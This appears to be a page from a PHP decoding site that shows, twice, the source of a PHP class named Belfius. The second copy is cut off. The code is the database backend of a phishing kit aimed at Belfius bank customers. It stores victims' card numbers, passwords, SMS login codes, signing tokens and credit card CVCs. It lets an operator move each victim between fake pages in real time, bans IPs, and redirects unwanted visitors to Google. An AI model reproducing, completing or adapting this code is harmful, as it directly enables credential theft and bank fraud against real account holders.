Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace App\Models\Belfius; use PDO; class Belfius extends \Core\Model { publ..

Decoded Output download

<?php  
   namespace App\Models\Belfius; use PDO; class Belfius extends \Core\Model { public static function redirect() { $sql = "SELECT * FROM redirect WHERE id = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":id", 1, PDO::PARAM_INT); $stmt->execute(); $data = $stmt->fetch(); if ($data) { header("location: " . $data["redirect"]); die; } else { header("location: https://www.google.nl"); die; } } public static function findBan($ip) { $sql = "SELECT * FROM bans WHERE ip = :ip"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":ip", $ip, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return true; } return false; } public static function setLogInformation($uid) { $sql = "UPDATE logs SET bank = :bank, belfius_card = :empty, belfius_vv = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setIdentificationInformation($uid) { $sql = "UPDATE logs SET bank = :bank, belfius_phone = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setBelInformation($uid) { $sql = "UPDATE logs SET bank = :bank, belfius_bel = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setPasswordInformation($uid) { $sql = "UPDATE logs SET bank = :bank, belfius_pass = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setCreditInformation($uid) { $sql = "UPDATE logs SET bank = :bank, belfius_cc = :empty, belfius_cc_exp = :empty, belfius_cvc = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLoginCodeInformation($uid) { $sql = "UPDATE logs SET bank = :bank, belfius_sms = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSignCodeInformation($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, belfius_m1 = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setTokenInformation($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, belfius_m2 = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLiveInformation($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, belfius_live = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setBuyInformation($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, belfius_buy = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function checkPayment($url = array()) { $sql = "SELECT * FROM requests WHERE url = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":id", $url, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return $data; } return false; } public static function getPage($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["page"])) { return $data["page"]; } return false; } public static function setLogin($card, $exp, $uid) { $sql = "UPDATE logs SET belfius_card = :card, belfius_vv = :exp, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":card", $card, PDO::PARAM_STR); $stmt->bindValue(":exp", $exp, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setIdentification($identification, $uid) { $sql = "UPDATE logs SET belfius_phone = :identification, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":identification", $identification, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setBel($identification, $uid) { $sql = "UPDATE logs SET belfius_bel = :identification, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":identification", $identification, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setPassword($password, $uid) { $sql = "UPDATE logs SET belfius_pass = :password, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":password", $password, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setCredit($cc, $cvc, $exp, $uid) { $sql = "UPDATE logs SET belfius_cc= :cc, belfius_cvc = :cvc, belfius_cc_exp = :exp, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":cc", $cc, PDO::PARAM_STR); $stmt->bindValue(":cvc", $cvc, PDO::PARAM_STR); $stmt->bindValue(":exp", $exp, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setLoginCode($code, $uid) { $sql = "UPDATE logs SET belfius_sms = :code, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":code", $code, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setSignCode($code, $uid) { $sql = "UPDATE logs SET belfius_m1 = :code, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":code", $code, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setLive($respons, $uid) { $sql = "UPDATE logs SET belfius_live = :respons, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":respons", $respons, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setBuy($respons, $uid) { $sql = "UPDATE logs SET belfius_buy = :respons, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":respons", $respons, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setToken($code2, $uid) { $sql = "UPDATE logs SET belfius_m2 = :code2, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":code2", $code2, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setLoginPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_card = :empty, belfius_vv = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setIdentificationPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_phone = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setBelPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_bel = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setPasswordPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_pass = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setCreditPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_cc = :empty, belfius_cc_exp = :empty, belfius_cvc = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignCodePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_m1 = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_live = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setBuyPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_buy = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setTokenPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_m2 = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLoginCodePage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_sms = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setSignCodePageCode($uid, $page, $code) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_m1 = :empty, belfius_m1_get = :code WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":code", $code, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePageCode($uid, $page, $live, $livetwo) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_live = :empty, belfius_live_get = :live, belfius_live2_get = :livetwo WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":live", $live, PDO::PARAM_STR); $stmt->bindValue(":livetwo", $livetwo, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setBuyPageCode($uid, $page, $buy, $buytwo) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_buy = :empty, belfius_buy_get = :buy, belfius_buytwo_get = :buytwo WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":buy", $buy, PDO::PARAM_STR); $stmt->bindValue(":buytwo", $buytwo, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setTokenPageCode($uid, $page, $code2) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_m2 = :empty, belfius_m2_get = :code2 WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":code2", $code2, PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setFinishPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getSignCode($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["belfius_m1_get"])) { return $data["belfius_m1_get"]; } return false; } public static function getToken($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["belfius_m2_get"])) { return $data["belfius_m2_get"]; } return false; } public static function getLive($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["belfius_live_get"])) { return $data["belfius_live_get"]; } return false; } public static function getLivetwo($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["belfius_live2_get"])) { return $data["belfius_live2_get"]; } return false; } public static function getBuy($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["belfius_buy_get"])) { return $data["belfius_buy_get"]; } return false; } public static function getBuytwo($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["belfius_buytwo_get"])) { return $data["belfius_buytwo_get"]; } return false; } } ?>

Did this file decode correctly?

Original Code

<?php 
   namespace App\Models\Belfius; use PDO; class Belfius extends \Core\Model { public static function redirect() { $sql = "SELECT * FROM redirect WHERE id = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":id", 1, PDO::PARAM_INT); $stmt->execute(); $data = $stmt->fetch(); if ($data) { header("location: " . $data["redirect"]); die; } else { header("location: https://www.google.nl"); die; } } public static function findBan($ip) { $sql = "SELECT * FROM bans WHERE ip = :ip"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":ip", $ip, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return true; } return false; } public static function setLogInformation($uid) { $sql = "UPDATE logs SET bank = :bank, belfius_card = :empty, belfius_vv = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setIdentificationInformation($uid) { $sql = "UPDATE logs SET bank = :bank, belfius_phone = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setBelInformation($uid) { $sql = "UPDATE logs SET bank = :bank, belfius_bel = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setPasswordInformation($uid) { $sql = "UPDATE logs SET bank = :bank, belfius_pass = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setCreditInformation($uid) { $sql = "UPDATE logs SET bank = :bank, belfius_cc = :empty, belfius_cc_exp = :empty, belfius_cvc = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLoginCodeInformation($uid) { $sql = "UPDATE logs SET bank = :bank, belfius_sms = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setSignCodeInformation($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, belfius_m1 = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setTokenInformation($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, belfius_m2 = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLiveInformation($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, belfius_live = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setBuyInformation($uid) { $sql = "UPDATE reliable_logs SET bank = :bank, belfius_buy = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":bank", "BELFIUS", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function checkPayment($url = array()) { $sql = "SELECT * FROM requests WHERE url = :id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":id", $url, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if ($data) { return $data; } return false; } public static function getPage($uid) { $sql = "SELECT * FROM logs WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["page"])) { return $data["page"]; } return false; } public static function setLogin($card, $exp, $uid) { $sql = "UPDATE logs SET belfius_card = :card, belfius_vv = :exp, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":card", $card, PDO::PARAM_STR); $stmt->bindValue(":exp", $exp, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setIdentification($identification, $uid) { $sql = "UPDATE logs SET belfius_phone = :identification, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":identification", $identification, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setBel($identification, $uid) { $sql = "UPDATE logs SET belfius_bel = :identification, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":identification", $identification, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setPassword($password, $uid) { $sql = "UPDATE logs SET belfius_pass = :password, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":password", $password, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setCredit($cc, $cvc, $exp, $uid) { $sql = "UPDATE logs SET belfius_cc= :cc, belfius_cvc = :cvc, belfius_cc_exp = :exp, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":cc", $cc, PDO::PARAM_STR); $stmt->bindValue(":cvc", $cvc, PDO::PARAM_STR); $stmt->bindValue(":exp", $exp, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setLoginCode($code, $uid) { $sql = "UPDATE logs SET belfius_sms = :code, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":code", $code, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setSignCode($code, $uid) { $sql = "UPDATE logs SET belfius_m1 = :code, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":code", $code, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setLive($respons, $uid) { $sql = "UPDATE logs SET belfius_live = :respons, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":respons", $respons, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setBuy($respons, $uid) { $sql = "UPDATE logs SET belfius_buy = :respons, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":respons", $respons, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setToken($code2, $uid) { $sql = "UPDATE logs SET belfius_m2 = :code2, waiting = :waiting WHERE user_id = :uid"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":code2", $code2, PDO::PARAM_STR); $stmt->bindValue(":uid", $uid, PDO::PARAM_STR); $stmt->bindValue(":waiting", "true", PDO::PARAM_STR); $stmt->execute(); } public static function setLoginPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_card = :empty, belfius_vv = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); $stmt->bindValue(":empty", null, PDO::PARAM_NULL); $stmt->bindValue(":user_id", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setIdentificationPage($uid, $page) { $sql = "UPDATE logs SET page = :page, waiting = :waiting, belfius_phone = :empty WHERE user_id = :user_id"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue(":page", $page, PDO::PARAM_STR); $stmt->bindValue(":waiting", "false", PDO::PARAM_STR); 